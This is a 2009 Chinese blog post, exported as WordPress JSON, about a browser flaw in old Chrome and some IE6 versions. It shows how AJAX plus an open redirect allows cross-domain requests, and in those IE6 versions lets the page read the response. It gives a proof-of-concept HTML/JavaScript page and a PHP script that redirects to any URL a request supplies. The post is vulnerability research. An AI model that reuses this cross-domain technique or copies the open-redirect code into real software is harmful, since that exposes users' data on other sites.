{"id":153,"date":"2009-05-08T11:31:00","date_gmt":"2009-05-08T11:31:00","guid":{"rendered":""},"modified":"2011-04-25T08:37:50","modified_gmt":"2011-04-25T08:37:50","slug":"ajax%e7%bb%93%e5%90%88url%e8%bd%ac%e5%8f%91%e6%bc%8f%e6%b4%9e%e8%b7%a8%e5%9f%9f%e6%8f%90%e4%ba%a4%e6%95%b0%e6%8d%ae","status":"publish","type":"post","link":"https:\/\/www.inbreak.net\/archives\/153.html","title":{"rendered":"AJAX\u7ed3\u5408URL\u8f6c\u53d1\u6f0f\u6d1e\u8de8\u57df\u63d0\u4ea4\u6570\u636e"},"content":{"rendered":"

by \u7a7a\u865a\u6d6a\u5b50\u5fc3<\/p>\n

Chrome\u6d4f\u89c8\u5668\uff0c\u5728\u4f7f\u7528ajax\u7684\u65f6\u5019\uff0c\u901a\u8fc7url\u8f6c\u53d1\u6f0f\u6d1e\u7684\u914d\u5408\uff0c\u53ef\u4ee5\u8de8\u57df\u63d0\u4ea4\u6570\u636e\uff08\u4f46\u662f\u4e0d\u80fd\u8bfb\u53d6\u8fd4\u56de\u6570\u636e\uff09\u3002<\/p>\n

IE6\u7684\u67d0\u4e9b\u7248\u672c\uff08\u4e0d\u77e5\u9053\u662f\u4ec0\u4e48\u7248\u672c\uff0c\u5728\u5bb6\u91cc\u548c\u67d0\u4e2a\u7f51\u5427\u6210\u529f\u4e86\uff09\uff0c\u901a\u8fc7\u7528\u6237\u70b9“\u786e\u5b9a”\u540e\uff0c\u4e5f\u662f\u53ef\u4ee5\u8de8\u57df\u63d0\u4ea4\u5e76\u8bfb\u53d6\u6570\u636e\u7684\u3002<\/p>\n

\u901a\u8fc7url\u8f6c\u53d1\u6f0f\u6d1e\uff0c\u624d\u53ef\u4ee5\u8de8\u57df\u3002<\/p>\n

\u4e0b\u9762\u662f\u6570\u636e\u6d41\u7a0b\uff1a<\/p>\n

\"1.jpg\"<\/a><\/p>\n

\u5148\u8bf7\u6c42\u5b58\u5728URL\u8f6c\u53d1\u6f0f\u6d1e\u7684\u9875\u9762redirect.php\u3002\u8be5\u9875\u9762\u8fd4\u56de"location : www.target.com<\/a>"\u3002<\/p>\n

\u4e8e\u662f\u6d4f\u89c8\u5668\u53c8\u8bf7\u6c42\u4e86\u4e00\u6b21www.target.com<\/a>\u3002<\/p>\n

\u5728\u8fd9\u91cc\uff0cFF\u548cIE7\u4ee5\u4e0a\uff0c\u4ee5\u53caIE6\u67d0\u4e9b\u65e0\u6f0f\u6d1e\u7684\u7248\u672c\uff0c\u90fd\u662f\u7206\u51fa\u6743\u9650\u9519\u8bef\u7684\u3002<\/p>\n

Chrome\u7684\u6f0f\u6d1e\uff1a<\/strong><\/p>\n

Chrome\u5728ajax\u63a5\u5230302\u8df3\u8f6c\u4e4b\u540e\uff0c\u4f1a\u7ed9www.target.com<\/a>\u53d1\u4e00\u4e2aget\u8bf7\u6c42\u7684\u5305\uff0c\u800cwww.target.com<\/a>\u5c31\u8fd4\u56de\u4e86\u6570\u636e\u3002<\/p>\n

\u53ef\u60dc\u8fd4\u56de\u6570\u636e\u540e\uff0cjs\u4e2d\u7684xmlhttp\u5e76\u6ca1\u6709\u529e\u6cd5\u8bfb\u53d6\u8fd4\u56de\u7684\u6570\u636e\u3002\u5426\u5219\u6f0f\u6d1e\u5c31\u5927\u4e86\u3002<\/p>\n

\u5982\u56fe\u662fparos\u5f97\u5230\u7684\u6570\u636e\u5305\uff1a<\/p>\n

\"2.jpg\"<\/a><\/p>\n

—————————————–<\/p>\n

IE6\u67d0\u4e9b\u7248\u672c\u5b58\u5728\u6f0f\u6d1e\uff1a<\/strong><\/p>\n

\u4f46\u662fIE6\u7684\u67d0\u4e9b\u7248\u672c\uff0c\u901a\u8fc7\u7528\u6237\u7684\u786e\u8ba4\u540e\uff0c\u5c31\u53ef\u4ee5\u8de8\u57df\u8bfb\u53d6\u6570\u636e\u4e86\uff1a<\/p>\n

\"1.jpg\"<\/a><\/p>\n

\u7528\u6237\u901a\u5e38\u4f1a\u70b9\u786e\u5b9a\u3002<\/p>\n

\"2.jpg\"<\/a><\/p>\n

\u70b9\u4e86\u786e\u5b9a\u540e\uff0calert\u51fasohu\u90a3\u91cc\u6293\u6765\u7684\u4fe1\u606f\u3002<\/p>\n

\u4e0b\u9762\u662f\u4ee3\u7801\uff1a<\/p>\n

\n
XML\/HTML\u4ee3\u7801<\/div>\n
    \n
  1. <!DOCTYPE HTML PUBLIC "-\/\/W3C\/\/DTD HTML 4.0 Transitional\/\/EN"<\/span>><\/span>  <\/span><\/span><\/li>\n
  2. <!– saved from url=(0046)http:\/\/inbreak.net\/kxlzxtest\/haha\/ajax.htm –><\/span>  <\/span><\/li>\n
  3. <<\/span>HTML<\/span>><\/span><<\/span>HEAD<\/span>><\/span>  <\/span><\/li>\n
  4. <<\/span>META<\/span> <\/span>http-equiv<\/span>=<\/span>Content<\/span>-Type <\/span>content<\/span>=<\/span>"text\/html; charset=gb2312"<\/span>><\/span>  <\/span><\/li>\n
  5. <<\/span>META<\/span> <\/span>content<\/span>=<\/span>"MSHTML 6.00.6000.16825"<\/span> <\/span>name<\/span>=<\/span>GENERATOR<\/span>><\/span><\/<\/span>HEAD<\/span>><\/span>  <\/span><\/li>\n
  6. <<\/span>BODY<\/span>><\/span>  <\/span><\/li>\n
  7. <<\/span>DIV<\/span> <\/span>id<\/span>=<\/span>divid<\/span> <\/span>height<\/span>=<\/span>"600"<\/span> <\/span>width<\/span>=<\/span>"600"<\/span> <\/span>name<\/span>=<\/span>"divid"<\/span>><\/span><<\/span>INPUT<\/span> <\/span>onclick<\/span>=<\/span>doMyAjax<\/span>() <\/span>type<\/span>=<\/span>button<\/span> <\/span>value<\/span>=<\/span>aaa<\/span>><\/span> <\/span><\/<\/span>DIV<\/span>><\/span>  <\/span><\/li>\n
  8. <<\/span>SCRIPT<\/span>><\/span>  <\/span><\/li>\n
  9. var xmlHttp;   <\/span><\/li>\n
  10. var tmpdiv;   <\/span><\/li>\n
  11. function createXMLHttp(){   <\/span><\/li>\n
  12.     if(window.XMLHttpRequest){   <\/span><\/li>\n
  13.         <\/span>xmlHttp<\/span> = <\/span>new<\/span> XMLHttpRequest();           <\/span><\/li>\n
  14.     }   <\/span><\/li>\n
  15.     else if(window.ActiveXObject){   <\/span><\/li>\n
  16.         <\/span>xmlHttp<\/span> = <\/span>new<\/span> ActiveXObject("Microsoft.XMLHTTP");   <\/span><\/li>\n
  17.     }   <\/span><\/li>\n
  18. }   <\/span><\/li>\n
  19. function startRequest(doUrl){   <\/span><\/li>\n
  20.     createXMLHttp();   <\/span><\/li>\n
  21.     xmlHttp.open("GET", doUrl, false);   <\/span><\/li>\n
  22.        <\/span><\/li>\n
  23.     xmlHttp.send(null);   <\/span><\/li>\n
  24.     setTimeout("alert(xmlHttp.responseText)",3000);   <\/span><\/li>\n
  25. }    <\/span><\/li>\n
  26. function doMyAjax()   <\/span><\/li>\n
  27. {   <\/span><\/li>\n
  28.     var <\/span>time<\/span> = <\/span>Math<\/span>.random();   <\/span><\/li>\n
  29.     var <\/span>strPer<\/span> = <\/span>‘http:\/\/inbreak.net\/kxlzxtest\/haha\/redirect.php?done=http:\/\/www.sohu.com’<\/span>+String.fromCharCode(38)+’<\/span>time<\/span>=’+time;   <\/span><\/li>\n
  30.     startRequest(strPer);   <\/span><\/li>\n
  31.   <\/span><\/li>\n
  32. }   <\/span><\/li>\n
  33.   <\/span><\/li>\n
  34. <\/<\/span>SCRIPT<\/span>><\/span>  <\/span><\/li>\n
  35. <\/<\/span>BODY<\/span>><\/span><\/<\/span>HTML<\/span>><\/span>  <\/span><\/li>\n<\/ol>\n<\/div>\n

    \u8bf7\u6ce8\u610f\uff0c\u5728\u4f7f\u7528\u7684\u65f6\u5019\uff0c\u56e0\u4e3a\u662fget\u8bf7\u6c42\uff0c\u800cdone\u9700\u8981\u7684\u53d8\u91cf\u4e2d\u6709“&”\u7b26\u53f7\uff0c\u6240\u4ee5\u5fc5\u987b\u4f7f\u7528“ String.fromCharCode(38) ”\u6765\u4ee3\u66ff\u3002\u5426\u5219\u4f1a\u4ea7\u751f\u622a\u65ad\u3002<\/p>\n

    redirect.php\u4ee3\u7801\u5f88\u7b80\u5355\uff1a<\/p>\n

    \n
    PHP\u4ee3\u7801<\/div>\n
      \n
    1. <?php    <\/span><\/span><\/li>\n
    2. $kxlzx<\/span> = <\/span>"Location: "<\/span>.<\/span>$_GET<\/span>[<\/span>"done"<\/span>];   <\/span><\/li>\n
    3. header(<\/span>$kxlzx<\/span>);   <\/span><\/li>\n
    4. exit<\/span>;   <\/span><\/li>\n
    5. ?>  <\/span><\/li>\n<\/ol>\n<\/div>\n

      \u5bf9\u4e8echrome\u8fd9\u91cc\uff0c\u6ca1\u529e\u6cd5\u8bfb\u53d6\u76ee\u6807\u57df\u8fd4\u56de\u7684\u6570\u636e\uff0c\u6df1\u611f\u9057\u61be\uff0c\u6240\u4ee5\u53d1\u51fa\u6765\u8fd9\u7bc7\u6587\u7ae0\uff0c\u5927\u5bb6\u60f3\u60f3\u529e\u6cd5\u3002<\/p>\n","protected":false},"excerpt":{"rendered":"

      Chrome\u6d4f\u89c8\u5668\uff0c\u5728\u4f7f\u7528ajax\u7684\u65f6\u5019\uff0c\u901a\u8fc7url\u8f6c\u53d1\u6f0f\u6d1e\u7684\u914d\u5408\uff0c\u53ef\u4ee5\u8de8\u57df\u63d0\u4ea4\u6570\u636e\uff08\u4f46\u662f\u4e0d\u80fd\u8bfb\u53d6\u8fd4\u56de\u6570\u636e\uff09\u3002<\/p>\n

      IE6\u7684\u67d0\u4e9b\u7248\u672c\uff08\u4e0d\u77e5\u9053\u662f\u4ec0\u4e48\u7248\u672c\uff0c\u5728\u5bb6\u91cc\u548c\u67d0\u4e2a\u7f51\u5427\u6210\u529f\u4e86\uff09\uff0c\u901a\u8fc7\u7528\u6237\u70b9“\u786e\u5b9a”\u540e\uff0c\u4e5f\u662f\u53ef\u4ee5\u8de8\u57df\u63d0\u4ea4\u5e76\u63a5\u6536\u6570\u636e\u7684\u3002<\/p>\n

      \u5bf9\u4e8echrome\u8fd9\u91cc\uff0c\u6ca1\u529e\u6cd5\u8bfb\u53d6\u76ee\u6807\u57df\u8fd4\u56de\u7684\u6570\u636e\uff0c\u6df1\u611f\u9057\u61be\uff0c\u6240\u4ee5\u53d1\u51fa\u6765\u8fd9\u7bc7\u6587\u7ae0\uff0c\u5927\u5bb6\u60f3\u60f3\u529e\u6cd5\u3002<\/p>\n

      \u7ee7\u7eed\u9605\u8bfb »<\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[86,5],"tags":[46,49,35],"views":5767,"_links":{"self":[{"href":"https:\/\/www.inbreak.net\/wp-json\/wp\/v2\/posts\/153"}],"collection":[{"href":"https:\/\/www.inbreak.net\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.inbreak.net\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.inbreak.net\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.inbreak.net\/wp-json\/wp\/v2\/comments?post=153"}],"version-history":[{"count":1,"href":"https:\/\/www.inbreak.net\/wp-json\/wp\/v2\/posts\/153\/revisions"}],"predecessor-version":[{"id":227,"href":"https:\/\/www.inbreak.net\/wp-json\/wp\/v2\/posts\/153\/revisions\/227"}],"wp:attachment":[{"href":"https:\/\/www.inbreak.net\/wp-json\/wp\/v2\/media?parent=153"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.inbreak.net\/wp-json\/wp\/v2\/categories?post=153"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.inbreak.net\/wp-json\/wp\/v2\/tags?post=153"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}